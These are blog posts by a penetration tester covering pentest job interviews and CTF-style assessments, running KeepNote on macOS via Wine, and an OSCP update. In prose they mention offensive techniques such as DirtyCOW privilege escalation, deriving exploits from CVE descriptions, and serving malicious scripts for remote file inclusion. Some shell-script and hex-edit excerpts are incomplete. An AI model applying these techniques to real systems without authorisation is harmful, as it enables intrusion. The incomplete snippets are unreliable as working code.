My Grand Tour of Pentest Interviews

Late last year, I began looking for a new job.  Earlier this year, I finally got one!  I was interested in branching out into the broader world of penetration testing and red teaming, with more external clients and more broadly-scoped sorts of engagements.  This was something of a sell to prospective employers though.  I do have close to a decade of infosec experience, but only a few years of that is pentesting and I’ve always been an in-house pentester doing mostly web app and mobile stuff.  That means that I am something of a noob when it comes to breaking in from the outside; I’m familiar with a lot of the tech and methodology, just haven’t done a lot of it hands-on (outside of CTFs and stuff like that).  I’ve been in the broader industry for a while, meaning my salary requirements are a little higher, and I absolutely wasn’t going to relocate again so soon after my last move for my old job.

All of this and extremely high demand for pentesters at the moment meant I went through A LOT of interviews.  Some of them broke down over salary expectations.  Some of them I quit early because I could tell it wasn’t what I was looking for.  Some of them weren’t budging on relocation.  One I completely hosed myself on because I bluffed too hard during the salary negotiation phase.  At least one of them probably thought I was a complete dumbass.  But in the end, one employer won out and I’m now happily hacking clients, mostly from the comfort of my own home.

Besides having lots of experience being interviewed for pentest jobs, I also have some experience in interviewing people for pentest jobs.  At one of my previous employer, I was involved in telephone screenings and in-person interviews of a dozen or so different candidates to join our team there.

Because I went through so many different interviews recently and have experience trying to assess pentest candidates, I figured that put me in a unique position to grade these different companies and throw in my own opinion on the best way to do it.

My intent is half to just be amusing for those who are curious about how different companies are interviewing people, maybe those trying to find out what to expect the next time they start looking for a new gig; but I’m also writing this and hoping that some recruiters and hiring managers will see this.  I hope this will give you some insight into how your competition might be assessing candidates, what you’re doing right in your own process, what you’re doing wrong, and how you could be doing it better.


(Names where chosen using this random Company Name Generator)


To start with, let’s talk about one of my previous employers, codenamed “Bigity,” and how we used to do technical assessments and interviews.  The first phase, like with most companies, is one of the recruiters from HR would reach out to the candidate.  This was usually in the form of a brief phone interview, 30-60 minutes, in which the recruiter would mostly ask questions about background, experience, salary expectations, and other non-technical stuff.  If the candidate passed the sniff test here, and there weren’t any show-stoppers, like no being willing to relocate or asking for too much money, the HR folks would forward their résumés on to us.

The next phase would be a telephone interview with one or more of us on the pentest team.  This interview would mostly be stump-the-chump questions, by which I mean we’d ask a bunch of infosec quiz questions; things like asking what’s the difference between encryption, hashing, and encoding or explaining what cross-site request forgery is.  Most candidates get weeded out at this point.  Not that we put much faith in your ability to remember infosec trivia; we realize you’re under the gun and there’s plenty of stuff you don’t memorize and offload to just googling for it when you need to know it (I know I do)…but if you ask questions right, especially ones that lead you through someone’s thought process, you can usually tell if they’re full of crap.

My friend Garrett’s favorite Bigity interview story is from the time he was doing a phone screening, would ask a question, the candidate would stall, he would hear the guy furiously typing, then start reciting the answer.  It wasn’t hard to figure out what was going on, so Garrett started googling along with him and could see he was just reading off the first search result for each question asked.

For those who passed the telephone interview, who would bring them onsite to our office for a couple of in-person interviews with team members and the management, take them out for lunch, and the culminating event was a technical assessment.  The technical assessment was in the style of a capture-the-flag (CTF) challenge, where the candidate would have to attack and gain access to different web apps and servers.  My friend Gabe was the mastermind behind these challenges and would host them as VMs or Docker containers, either on a laptop or on Digital Ocean VPS’s.  We’d give the candidate a laptop with Kali Linux to use and then observe them as they attacked these targets and occasionally feed them hints.  In most cases, candidates were flying to our location to interview, so they had all day to be with us.  With that in mind, we tried to be as generous as possible and give the candidate several hours at the end of the day to do the technical assessment.

The technical assessment was really the make-or-break event, in our experience.  We had several cases where people sailed through the phone interviews, had extremely impressive résumés, really sounded like they knew what they talking about, convinced us they’d probably be eligible for a principal-level position…then completely fall to pieces in the technical assessment!  I’m talking people who didn’t even know how to do an nmap scan!  They might still get an offer from us…but it was going to be at a much more junior level.

I was participating in these interviews at a time when the pentest team was expanding significantly, so we interviewed a lot of people.  In my experience, the best candidates were those who already had pentesting experience (naturally) or those who might only have some infosec job experience, but who’d gotten the OSCP cert.  We posted a job listing in the OffSec OSCP alumni forum and it was one of our best sources of qualified candidates.  I went through this same interview process before I’d gotten my OSCP and did OK, but it did give me some good reasons to sign up for it and take it.

Verdict: Bigity’s process is fairly speedy, which is good, as I’ll discuss more later.  A long in-person interview is also something I like, as it gives a better opportunity to feel out what a candidate is like, personality-wise.  It also gives the candidate a chance to see what the culture and people are like at your workplace.  Having the technical assessment take place in-person also has some pros and cons.  As a facilitator, watching over their shoulder, you get to see step-by-step how they approach a pentest and give more junior candidates the little nudges they need to succeed (that you’d give them anyway if you were their team leader or mentor).  The downside is that, being in-person during office hours, there’s a pretty hard time limit on it.  One thing I have to ding Bigity on is reaction speed.  In our case, even when the team and hiring manager knew a candidate was good and wanted to make an offer immediately, we sometimes lost them because HR would take longer than a week before they’d even reach out to candidates to tell them we were making an offer.



This one followed the somewhat standard formula: non-technical screening with a recruiter, technical interview with a team member or manager, a technical assessment, and a final interview with team members/management.  Most companies would ask for a written report on the technical assessment, but Linefix wanted me to put together a client presentation and deliver it to their team over a web meeting.  This part, I liked; presenting it not only makes sure the candidate is literate, but that they have the necessary social skills to put them in front of clients.

The only problem I had with this was that the technical assessment was a VulnHub VM.  Not like they gave me a VM that’s also available on VulnHub…they told me to go to VulnHub, download it, get root on it, and do the presentation on that.  If you too are a fan of Vulnhub, then you’ll know that there’s a big problem here: the fact that the VulnHub page for any CTF is full of links to detailed walkthroughs of how to own it!

Having anybody download a VM image has the inherent problem that a candidate could just mount the virtual hard drive and comb the file system for the flag file…but at least that way you’d catch cheaters when you find out they’re completely clueless as to how to actually exploit the machine the intended way.  Most VulnHub walkthoughs walk you through the entire thought process of the attacker, though.  At least they politely asked me to not rely on walkthroughs and try to do my best on my own.

It wasn’t too hard, but I did run into a part that seemed to require finding a buffer overflow in a binary.  I’m a newb at buffer overflows and only really know the limited techniques you’re taught in the OSCP labs, so I peeked at one of the walkthroughs to make sure I wasn’t crazy.  It turns out it required a much simpler exploit technique that I didn’t know before.  After that, I was able to finish it all on my own.  I freely admitted in the presentation I gave them that I did use the walkthrough for that part, since I’m a n00b when it comes to exploit dev and reverse engineering.  After the presentation was about a half-hour or so of technical questions from members of the pentest team and that was the end of the interview cycle.

Verdict: So while the challenge was fun and interesting, and making a presentation and delivering it is definitely a great way to gauge a candidate’s soft skills, I feel it’s a little lazy to rely on someone else’s VulnHub submission (I looked up the author of the VM and he’s never worked for this company or anyone affiliated with them).  Also, what stops someone from not even trying, just reading one of the walkthroughs (that give very detailed explanations of what to do and why it works when hacking this VM)?  It would be very easy for a low-skill pentester to BS their way through this one.  If they would create their own, in-house challenge VM to test candidates with, they’d be hitting that sweet spot of quality and speed.



This company was probably the closest to hitting the right balance of speed of interview and quality.  After speaking with a recruiter, I had the usual technical screening call with a senior member of the team.  It was very conversational and not ball-bustingly hard or anything.

The next phase was a scheduled technical assessment.  I had to choose a 48-hour period and provide them with my home IP address, during which they would spin up an AWS box with their challenge VM image and whitelist my IP so only I could touch it.  This challenge actually had a storyline and theme to it, with a clear mission to accomplish and a final report to write and hand in.  It was actually a really fun little CTF challenge to root.  Accomplishing the mission, I wrote up an attack narrative report and sent it for them to review.

In short order, the recruiter got back to me and scheduled the final interview, which was a discussion with two hiring managers about my background, skills, etc.  The entire interview process was all over internet or phone.  I can’t really dock them for not having any in-person component, as this particular company is almost exclusively work-from-home, so there wouldn’t really be any office for a candidate to be flown in to.

Verdict: As I said, this one came the closest to being perfect.  The technical challenge was custom-made and hosted (no chance of anyone looking up a walkthrough or cheating by mounting the virtual disk image), only four phases from initial recruiter reach-out to final interview, and each step in the process was very prompt.  This would’ve been a perfect process if they’d asked me to present the findings over a phone call or videoconference, sort of like how Linefix did in it’s final phase.



A recruiter from Tincore found me on LinkedIn and we had a phone chat about the position and my experience.  After that, I had to use some online system to record myself giving answers to canned interview questions, which took about 45 minutes or so, if I remember right.  I’ve been told by others that this is getting more common for initial candidate screening, but it feels really impersonal and robotic to me.

The next step was downloading a VM to conduct their technical assessment.  It was a custom-developed CTF VM and definitely the hardest of all the challenges I undertook.  Without giving away too much, I got stuck on a portion where I was expected to escape from a container.  I actually asked for a mild hint (just to ask if something I was seeing in it was real or a troll) and finally had a “duh” moment when I realized the escape was right in front of me the whole time.  The final portion was also time-consuming, as it forced me to write a decryption program in Go.  This was actually the first time I’d messed with Go; it’s like C from the future.  Maybe not surprising considering that Ken Thompson and Rob Pike of Bell Labs/Unix/C fame developed it for Google.  Anyway, it reinforced why I hate crypto but was a really interesting challenge.

There were two downsides to this, however.  One is that it’s pretty trivial to just mount the VM hard disk image and pick it apart.  They even politely ask the candidate not to do this in the assessment instructions.  Of course, being able to view all the protected portions of the filesystem may or may not help you out and further interviewing can bear out whether a person knows their stuff or not.

The second downside is that this particular VM was a hog!  It was several gigabytes large to download off the bat and it was set to use several gigabytes of RAM when running in VMware.  I didn’t test out if it really required that much RAM (I suspect it probably didn’t), but still, challenge VMs should be as slimmed down as possible for ease of downloading and running on modest hardware.  You should consider that people doing this are probably using Windows or macOS as their primary OS, then running a distro like Kali to have all the pentesting tools, and then running your challenge VM to hack against.  Not everyone’s got 16 gigs of RAM in their machine to accommodate all that.

After that I finally got to have a technical interview with two pentesters…and they proceeded to frickin’ destroy me.  It was the most brutal Q&A interview I had during this whole exhausting job search.  The recruiter was nice enough to call me the next week to tell me how they didn’t feel I was competent enough and would be pursuing other candidates.  Thanks, I guess.

(My bruised ego did get a little feeling of schadenfreude when I heard from a friend at a large company that they had previously hired Tincore to do pentests for them and that Tincore had farmed it out to low-skill offshore workers who tried to pass off vuln scans as a pentest.  Maybe that’s why they were so hard in their interview process, trying to raise the quality of their consultant pool and restore some reputation.)

From what I understood, had I not looked like a moron during that final interview, there may or may not have been more phone interviews and eventually an onsite visit to their office for a final round.

Verdict: I give them massive points for a very interesting and challenging assessment and an extremely tough interview, but I have to subtract some for the resource-intensive VM, the cheating potential, the very cold and impersonal webcam video résumé thing, and for the length of the whole interview process.  If you total up all different interviews, that would make for at least a six-phase process.  On one hand, that allows for ample time to feel out a candidate, decide if they really know their stuff, and if they’re a good fit for the company.  On the other, in the highly competitive world of infosec hiring, you’re almost certainly not the only company they’re talking to and 6+ phases is a lot of time for a company with a faster interview process to make an offer before you and snatch up the best candidates first.



This was a very prestigious pentesting company and I was super-excited to hear from one of their recruiters.

…and then I found out what the assessment was.

The first part was essential a multiple-choice English literacy test.  While it seemed odd, I can understand.  Nothing is going to turn a client off faster than a consultant who can’t spell or complete a grammatically-correct sentence.  I’m pretty sure I did ok on that one.

The second part was a code review.  I knew I was screwed then!  While I did what we called “code-assisted pentesting” in my last job, and I can read and understand most code, I am in *no way* qualified to perform a detailed code review and catch every potential problem or error.  I’d like to be a little better in it, but I have no wish to do it for a living, honestly.

The questions were a mix of pseudo-PHP, Java, C, and .NET languages and I was told there were twenty or more vulnerabilities in them.

Yeah, I only found like ten.  And I racked my brain on how there were twice that many lurking in these little code snippets.

I did my best, but I wasn’t surprised when I heard back that I was being passed up in favor of other candidates.

Verdict: I honestly don’t know how to grade this one.  Part of me wants to say “I’m grading on pentester interviews in this article, not code reviewer interviews” and give them a bad mark.  Part of me wants to feel guilty that I’m not a good enough code reviewer to pass their assessment.  And ideally a pentester could do code review…and security architecture…and forensic analysis…and reverse engineering…and hardware hacking…and lots of other things, but very few (genius and/or Adderall-abusing) people are going to have the time and inclination to become extremely competent in all these areas.  Also, I have no idea what the rest of their process is beyond the literacy test and code review.  So I’ll just give them a middle-of-the-road 3 out of 5: if they want their pentesters to be code reviewers, that’s great…I’m obviously not their guy.



This one was unique, as you will see, as it had two very different technical assessments.

The process began like many of the others.  In this case, it was an external headhunter that found me on LinkedIn and called me to discuss the listing.  The second call was your usual technical interview with some questions about my background and the usual stump-the-chump infosec trivia; relaxed and not too difficult.

The next phase was the first technical assessment, which was an AWS-hosted web app.  Both assessments I took for this company were not time-limited in any way and I was free to take as much time as I needed to get through them.  Poking it and doing some reconnaissance, I saw that it wasn’t some custom-developed app, but was existing open-source software.  Enumerating the version turned up public exploits for it on ExploitDB and other places, but none of them were particularly juicy (ie, they weren’t going to get me a shell).  At this point, I taught myself a valuable skill: reversing exploits from CVE descriptions.  Lots of apps have CVEs on them where the researcher never released a public exploit into the wild…and in the case of web apps, it can be stupidly easy to figure out an exploit (or at least substantially narrow down where to look).  For example, a CVE that says something like “SQL injection in sucky-code.php via the ‘query’ parameter” practically writes itself.  One CVE I saw was for a newer version of this web app that could allow for code execution.  The name of the page and parameter had changed, but it wasn’t hard to figure out where it was in the version I was attacking, especially since it was open source and I could just read the code for that version.  I was able to find the injection point and get a shell on the box.  I’m not sure if I was supposed to get this far, as per the original intent of the designer of this challenge, because there was no readily apparent path to escalate to root privileges.  DirtyCOW was all the rage around this time, and since I’d exhausted all other avenues, I used that to pop the box.  With that done, I wrote a web app pentest report for them, detailing all the findings I’d uncovered, and sent it in.

Having passed that, the next challenge was by far the most unique I’d seen.  This challenge involved reverse-engineering a network protocol to try to discover vulnerabilities in it.  Another AWS box was put up, with a web interface for interacting with the protocol.  Using that web interface, I was able to point the protocol traffic to a box I controlled and proxy it.  I then figured out just how the packets were structured, how they worked, and started building some tools to interact with it (the pwntools Python library makes whipping up POCs and hacking tools really easy).  I was able to discover some odd behavior and undocumented functions, wrote up my findings, and handed that report in.  To be an over-achiever, I even wrote up a Python tool for interacting with and exploiting the protocol and handed the code in.

The final step was flying out to their office for an in-person interview.  The in-person portion consisted of several different sessions with different sets of consultants and managers, gauging my general consulting skills, like how I would go about scoping projects, how I would approach each phase of a pentest, dealing with difficult clients, etc.

Verdict: this interview process was very thorough and, from the perspective of the company, does a great job of teasing out where your strengths are, how you approach problems, and your soft skills (ie, talking to clients).  I also give them credit for the protocol reversing challenge, which was unlike any of the other CTF challenges I undertook.  Another nice thing is that they realize candidates might be busy with their existing jobs or other obligations, so you’re encouraged to take as much time as you need to finished the assessments.

There’s one big problem, however…the process is long.  Even if you’re blowing through the CTFs as quick as you can, there’s still five phases to get through.  The recruiter happened to catch me at the right time that I ended up going through all the phases, but I’m certain this company probably loses a lot of high-end candidates because someone else makes them an offer first.  Having two technical assessments is awesome, but it might result in diminishing returns if it means other companies are snatching them from you before they’ve even been scheduled for the final interview.



This was actually two different companies, but nearly identical interview processes.  Both were infosec consulting firms and neither did any sort of technical assessment.  Both followed a pattern of a screening call with a recruiter to ask some HR sort of questions and answer mine about the firm, a second interview with team members asking some technical questions to gauge my knowledge, then a final one with a hiring manager.

Verdict: A very quick and traditional interview cycle, following the same template that I’ve encountered in a lot of job interviews in my working years.  However, with something as technically-involved as pentesting, I feel like a halfway-savvy person could really BS their way through this process.  In fact, I’ve seen it, as I mentioned when I helped with hiring at one of my previous employers.  So while this very traditional way of interviewing candidates is just fine for a lot of other jobs, my own opinion is that you need to have some sort of technical challenge to gauge candidates’ practical skills.


Dishonorable Mention: Dongquote

Yes, I saved the worst randomly-generated name for these guys.

I found these guys via the Reddit r/netsec quarterly hiring thread.  Their process was another traditional three-phase one like Lamcon, but absolutely the worst technical Q&A I’ve ever had.

The guy I was interviewing with seriously asked me the “What happens when you type into your browser’s address box and press enter?” question!  This was a phone screening, so thankfully there was no whiteboard around for me to reverse a binary tree on.  It was all downhill from there.  I swear he asked me more questions about DNS than he even did about security or pentesting.

After this atrocious interview, they seemed upbeat and said they’d follow up.  They never emailed or called me again, nor did I.  I’d started reading up on the company on GlassDoor and some other websites and the reviews from former employees were awful.  Granted, most review sites are gonna be biased in favor of complainers, since people are usually way more motivated to get online and vent after a bad experience, rather than go praise after an average or good one.  But in the case of this company, there was only one positive review and it was clearly written by a recruiter or HR person trying to propagandize…followed by dozens of bad reviews warning people to stay the hell away!  I wasn’t exactly heartbroken that they never followed up.

Verdict: Don’t ask the “What happens when you type in your browser?” question.  Just don’t.


Conclusions for Pentest Teams and Hiring Managers

Having been on both sides, interviewer and interviewee, and seen how it’s done with several large firms, here are my own take-aways for how to effectively evaluate and select candidates.

  1. You have to have a technical assessment.  This is by far the most important piece of knowledge I can impart, and thankfully, most pentest teams already do it.  This is absolutely imperative!  You can play stump-the-chump all you want, but nothing demonstrates skill like actually doing it.
  2. Make your own challenge VM.  Don’t cheap out and just download something off VulnHub.  It’s fine to look at VulnHub or conference CTFs for inspiration, but make your own VM and make it reflect the sort of work you do.  If your team is more into web apps, make it some sort of web app hacking challenge.  If you’re into infrastructure, have them get a foothold and escalate privileges on Windows or Linux boxes.  If you do a lot of reversing, offer a crack-me or a protocol reversing challenge.  Or do some combination of all of them!  Whatever it is you do on your team, challenge your candidates to show you they can do it.  The other advantage of making the challenge VM yourself is you know they can’t just go find a write-up or walkthrough online.  Chances are you’ve got guys on your pentest team who’d love to make their own CTF challenge.  Do peer-review it among other pentesters and make sure the difficult level is appropriate.  I know from experience that the creator of a CTF challenge often thinks it’s going to be a lot easier for others to solve than it really turns out being.
  3. Host it yourself (whether on the Internet or in-person is up to).  Another way to both avoid cheating, as you can easily mount and read .vmdk files, and also not require the candidate to have a ton of spare hard drive space or RAM, if the challenge VM is particularly resource-hungry.  Most places opt to host this on the Internet and give candidates ample time to finish the assessment.  There is something to be said for the Bigity way of doing it, hosting in-office and getting to watch the candidate as they work.  It’s really up to you, but it’s probably best to do this part remotely, just for time considerations.
  4. Technical interview questions are great, but don’t turn it into “Hacker Jeopardy”.  When you’re doing the actual interview and trying to feel out how smart a candidate is, technical questions are of course important…but quiz them more on their thought process, methodology, and how they approach problems.  Some stump-the-chump questions are OK, but don’t rely on them to have memorized all the same crap as you.  I know there’s a lot of technical minutiae that I’ve offloaded to Google…that my screwed-up brain has then replaced with weird Unix history trivia that will never do me any good on any future job interview.  Ask instead how they do pentests, maybe even some scenario questions, see how they would tackle a problem or research answers.  Even if they slam-dunk it in this sort of interview, you still need to do a technical assessment so they can prove they know how to do it.
  5. Have an in-person component (if it makes sense for your organization).  I’ll say this is optional.  If you’re an org with an almost entirely remote workforce, then you can probably skip this part.  If you do have an office culture, and even if you’re hiring for a remote position, bring them in to meet the in-office folks.  It’ll help you to feel out the candidate and for them to feel you out too, to make sure you’re both good fits for each other, as far as corporate culture and all.  Most places save this for the final phase, when they’re already 90% certain you’re going to make the guy or gal an offer.
  6. Consider having candidates present, rather than just deliver, a report.  Again, this kinda depends on how your organization does business, but I suggest you have your assessment process mirror that.  If your usually mode of operation is to pentest, write a report, and present those findings to a client vocally…do it that way in your interviews.  Have your candidate write a report on their technical assessment, then present all of their findings to you over the phone, videoconference, or in-person (if you chose to do that from the last step).  In my own opinion, this is a good step even if you’re not a consulting firm.  When I was an in-house pentester, I always had to present findings to developers and application/system owners, and they’re usually an even tougher crowd than a paying client!  If you want, you can even play good cop/bad cop with the candidate and make them defend their findings and explain to you why they pose a threat.  Make it realistic and reflect how you do business.
  7. For God’s sake, be quick.  Probably the other key take-away I learned, both as interviewer and interviewee.  If your process isn’t quick, you’ll lose good talent to someone else.  As much as I appreciate the thoroughness of some of the more exotic forms of interview I underwent, the classic four-phase interview process is probably the best: recruiter screening, phone technical interview, technical assessment, and final interview with presentation.  Or you could roll the last two into one giant step, like Bigity does.  Any longer than that and you risk getting undercut by faster organizations.  The one aspect that might be out of your control is how swift HR is in issuing offers, as Bigity had this issue.  Communicate up your chain of command as best you can the importance of swift action.  These are highly-skilled professionals we’re talking about and their talents are in high demand; tell them they need to act accordingly.

I hope you’ve found this article entertaining and informative!  If you conduct pentest team hiring for a company, I hope you’ve enjoyed this little peak behind the curtain at how other orgs are doing it and can learn a thing or two to improve the process at your own organization.  Good luck out there!



Running KeepNote on a Mac

During my PWK training, I absolutely fell in love with KeepNote.  I used it extensively for tracking all the different networks, all the hosts in that network, all the different scan results and loot I’d collect on each, and also general notes about attack vectors I had tried, what worked, what didn’t work, what to explore, little code snippets or Linux commands for easy copy-and-paste use later, links to helpful articles…you get the picture.

Unfortunately, KeepNote isn’t very well-maintained.  As of this Fourth of July, the latest versions uploaded to the main site are five years old.  The original developer did put it on Github two years ago, but there haven’t been many pull requests accepted since then and he obviously doesn’t have the time to keep up with it anymore.  Totally understandable, but it sucks because I haven’t found a good, well-maintained replacement for it.

And believe me, I’ve tried!  Evernote, Bear, nvALT, desktop wikis like Zim, the macOS Notes app, and on and on.  No one else is doing, or even offering an option to do, the same kind of UI layout.  I don’t know why, but the three-pane arrangement of KeepNote just hits the spot for me.  The outline on the left side, submenu on top right, and notes section on bottom left; no one else arranges their app like this.


For real, this is my happy place.

Even after finishing the OSCP, I still use KeepNote for everything from CTFs to client engagements.  It works fine in Linux and is even included in the package managers of Debian and several other distributions.

On Mac…eh, not so much!  Getting the dependencies right is a little frustrating, at least if you’re using Homebrew.  For example, KeepNote requires PyGTK and Glade…but you have to install Glade with PyGTK (brew install –with-libglade pygtk).  If you install the packages separately, it won’t run.  Most frustrating of all is that, once you do get it running, the clipboard doesn’t work right!  You can’t copy or paste anything into or out of the app, for whatever reason.

“So why not just use it in Kali?” you might be asking.  And I do, all the time.  But recently, I had a huge internal pentest engagement for a client with several internal Class A networks.  The only way to access this client was through a macOS VM running in VMware Fusion that was set up with their VPN and other software.  I don’t know why, but macOS VMs run like shit.  I was doing all this on a 2015 MacBook Pro with an i7 and 16 GB of RAM, and even with ample system resources, opening a second VM (with Kali on it) caused the macOS one to slow to a crawl…even though the internal Activity Monitor said everything was fine and system utilization was low.  I’m guessing it has something to do with the subpar VMware Tools available for macOS, which doesn’t support 3D acceleration and some other features.  And I’m sure macOS being a closed-source operating system that’s tied to branded hardware doesn’t help matters either.

A couple of Class A subnets is a lot of ground to cover and I wasn’t given a lot of time to dive deep, so I was constantly bounce from host to host to test out this or that weak point and having a hard time keeping up with the notes.  Given the aforementioned VM troubles, my note-taking app was going to have to either run on the VM or my host OS, both of which are macOS Sierra.

While I entertained exploring the intricacies of Python and macOS clipboard operation and trying to write a patch myself, a much easier thought occurred to me: KeepNote is available as a pre-compiled installable Windows app!

I’ve had a lot of good luck with Wine on Mac, especially since they developed the Mac-specific driver for it and you don’t have to be shackled to XQuartz anymore.  So I tried a few different ways to get KeepNote running inside macOS and here are my results.

TL;DR – The Easiest (and Nicest Looking) Way: WineBottler

WineBottler is a great little program for creating pretty wrappers around Wine apps.  This way, it’ll package KeepNote into a nice .app file that you can put in your Mac’s Dock and launch.  When you install WineBottler, you also get a pre-packaged version of Wine called that can be used across different WineBottler-wrapped apps or for running other Windows binaries on macOS.  This version of Wine isn’t as current as what you’d get from installing via Homebrew and you’re limited to 32-bit Windows apps only, but it’s new enough to include the Mac driver and works perfectly fine with KeepNote.  In my testing, it was the easiest, most stable, nicest-looking, and smallest (more on that later) way to run KeepNote in macOS.


My recommended WineBottler settings

The screenshot above shows my recommended install settings.  KeepNote doesn’t require Mono or Gecko, so leave them out and save yourself lots of space.

Once it’s installed, you get a version of KeepNote with it’s own Dock launcher/icon that integrates nicely with macOS, including being able to copy and paste into and out of the app.  If you have “Use system tray icon” enabled, it’ll put a little KeepNote icon up in the right side of the Mac’s menu bar, but it doesn’t really do anything so I just disabled it in KeepNote’s “Preferences.”


KeepNote running inside it’s own WineBottler wrapper in macOS


So one oddity with the Wine Mac driver is that the stock version leaves the Option and Command keys on a normal Apple keyboard useless.  You’d think they’d at least map them to the Alt and Windows (or Super, if we’re being platform-agnostic) key functions or even offer some configuration option.  But alas, they don’t.  You can do Xmodmap stuff with X11…but then you’d have to use XQuartz.

Fortunately, the packaged version that comes with WineBottler maps Command to serve as extra Control keys, so you can use Mac-style shortcuts for copying and pasting.  You won’t really miss the Windows key, as KeepNote doesn’t use it from what I can tell.  If you want to hack the driver a little and add Option = Alt, check out the last section of this post.

Another nice feature of WineBottler is that it will find the Windows icon and automatically make it the icon for the .app bundle.  I also have a nicer-looking (IMHO) version of the KeepNote icon in Mac-compatible .icns format that you can download here.

The Other Easiest (But Not As Nice-Looking) Way: Homebrew and AppleScript

I’m sure you’re no stranger to Homebrew, the excellent macOS package manager.  The other super-easy way to run KeepNote is to simple run “brew install wine” and then “wine <the path and filename of your Windows KeepNote installer>” in your terminal.

You can also make a simple launcher using the Script Editor (formerly AppleScript Editor) and choosing to save it as an “Application.”  Here’s one I cribbed from the official Wine site.

on run

--edit this to be the correct location and file to run (typically only edit after the "drive_c")

 set toRun to "$WINEPREFIX/drive_c/Program Files (x86)/KeepNote/keepnote.exe"

--edit winePrefix if you are not using the default prefix

 set winePrefix to "$HOME/.wine"

--edit wineLocation if your wine install is not the default location

 set wineLocation to "/usr/local/bin"

--edit dyldFallbackLibraryPath to your X11 lib folder, this one is set for XQuartz on 10.6+

 set dyldFallbackLibraryPath to "/opt/X11/lib"




 set toRunPath to do shell script "WINEPREFIX=\"" & winePrefix & "\"; TEMPVAR=\"" & toRun & "\"; echo \"${TEMPVAR%/*}\""

 set toRunFile to do shell script "WINEPREFIX=\"" & winePrefix & "\"; TEMPVAR=\"" & toRun & "\"; TEMPVAR2=\"" & toRunPath & "\"; echo \"${TEMPVAR#$TEMPVAR2/}\""

do shell script "PATH=\"" & wineLocation & ":$PATH\"; export WINEPREFIX=\"" & winePrefix & "\"; export DYLD_FALLBACK_LIBRARY_PATH=\"" & dyldFallbackLibraryPath & "\"; cd \"" & toRunPath & "\"; wine \"" & toRunFile & "\" > /dev/null 2>&1 &"

end run

So while doing it this way is nice, easy, and gets you the latest version of Wine available, there is one downside.  If you put the launcher in your dock, even if you’ve given it a fancy custom icon instead of the default AppleScript one, Wine will still open as a separate app with it’s own Dock icon.  You end up with the same problem if you make the .app bundle in Automator too.  Some people might see this as a minor quibble, but it does bug me.


As you can see, the icons are a little redundant

The Easy (But Bloated) Way

Wineskin is another way to package Wine apps so that they integrate more beautifully with the Mac experience, but it has one big disadvantage: it’s enormous!  Unlike WineBottler, you can’t externalize the Wine install to use across apps, so every Wineskin-wrapped app has to contain the full install of Wine bundled within it.  Also, there didn’t seem to be an easy way to keep it from installing Mono and Gecko with every app (I dug two layers deep into the advanced settings and said, “Fuck it!”).  Total all this up and you’ve turned a 30 megabyte app into a 600 MEGABYTE app!  The WineBottler-wrapped version, by comparison, is just under 48 MB.

It does offer some deeper customization options than WineBottler, with a lot of different Wine versions and engines to choose from, but even the compressed engines still end up tipping the scales at 300 meg or so.  So yeah, if you want nice Dock integration, just stick with WineBottler.

Another Less Bloated (But Unstable) Way

I already use the latest version of Wine pulled from Homebrew and I was kind of ambivalent about having to use the redundant just to get a nice Dock launcher.  If you open up a WineBottler bundle, the actual binary it executes is just a bash script called “startwine” that looks in a few possible locations for your Wine binary, then uses it to execute the Windows program.

You can easily edit it to point to your Homebrew-installed version of Wine instead (the portion I added is in bold):


BUNDLERESOURCEPATH="$(dirname "$0")/../Resources"

#find wine, try in Bundle, ~/Applications, /Applications, Spotlight
if [ -f "$BUNDLERESOURCEPATH/Wine.bundle/Contents/Resources/bin/wine" ]; then
 export WINEUSRPATH="$BUNDLERESOURCEPATH/Wine.bundle/Contents/Resources"
#adding Homebrew Wine support
elif [ -f "/usr/local/bin/wine" ]; then
 export WINEUSRPATH="/usr/local/var/homebrew/linked/wine/"
elif [ -f "$HOME/Applications/" ]; then
 export WINEUSRPATH="$HOME/Applications/"
elif [ -f "/Applications/" ]; then
 export WINEUSRPATH="/Applications/"
elif [ -f "$(mdfind 'kMDItemCFBundleIdentifier == org.kronenberg.Wine' | grep -m 1 '')/Contents/Resources/bin/wine" ]; then
 export WINEUSRPATH="$(mdfind 'kMDItemCFBundleIdentifier == org.kronenberg.Wine' | grep -m 1 '')/Contents/Resources"
 echo "Wine not found!"
 exit 1


This will run…buuuuuuuuuuuut it tends to be a tad more unstable than usual.  It’s especially crash-prone when right-clicking around to change the icons on pages or when resizing the main KeepNote window.

I just wanted to point out that you can easily do it if you wish, but you’re better off sticking with WineBottler’s version of Wine.

Fixing Keyboard Mappings

One last note: if you’re unhappy with the key mappings, it’s not too hard to manually change them with a hex editor.  Wine is open source and you could go to the trouble of compiling a new Mac drive, but I find this way easier.

What you want to look for the Mac drive file, you’ll find it in the following locations.

  • In the Homebrew version of Wine:
    • /usr/local/var/homebrew/linked/wine/lib/wine/ (32-bit version)
    • /usr/local/var/homebrew/linked/wine/lib64/wine/ (64-bit)
  • In /Applications/

A good post on Stack Overflow explains which values to change in the compiled library.  To map the Command keys to be extra Control keys and turn the Option keys into Alts…

The exact address is going to change from version to version, so just look for these values near each other:


And change them to these:


I haven’t messed with it to, perhaps, turn the right Command key into a Windows key, but you could easily do it.

In conclusion, KeepNote runs pretty well inside Wine and is much more usable than running it straight from Python, sadly.  It does crash from time to time, but it does that in Linux too and it’s good at autosaving and preventing data loss.  The only thing I wish I could do is get the options for opening notes in external text editors, image viewers, etc. to work with my Mac apps…but alas, the Wine pseudo-Windows file paths throw them off.

Hope this post has helped you and enjoy your using KeepNote on Mac!

Custom KeepNote Dock Icon

OSCP Update

Look what came in the mail a few weeks ago!

For the curious, it took about a month for them to send the paper certificate and a little hard-plastic credit card sized version via DHL courier.  They send you an email asking where you want it mailed, just in case you’ve switched apartments or something in between registering and passing the exam.

Also, I realized in my previous OSCP review that I forgot to mention a few things.  I’ll list them here and also add them as an update to the original review post.

Things I Found Useful *UPDATE*

python -m SimpleHTTPServer 8080: a one-liner I still use on a daily basis.  A lot easier and quicker than turning Apache on and off, in my humble opinion.  Also nice because when you run it in your terminal, it prints all the incoming requests.  So not only is it handy for hosting your malicious script or PHP, it’s also handy for quickly fuzzing for RFI on a web app.  In fact, I got my foothold on one of the target boxes specifically because I was using this one-liner and it allowed me to see the incoming RFI (and troubleshoot that an additional file extension was getting tagged on and keeping my script from running).  I usually use “8080” for the port, but you can change it at the end, in the case where it’s conflicting with another app or you’re trying to get around firewall restrictions.  On every Linux and Mac I use, I keep this in my .bashrc with the alias “pythonwebserver”.  Be aware that it’s “python -m http.server 8000” on Python 3, in case your environment uses it instead of the more common Python 2.x versions.

The Exam *UPDATE*

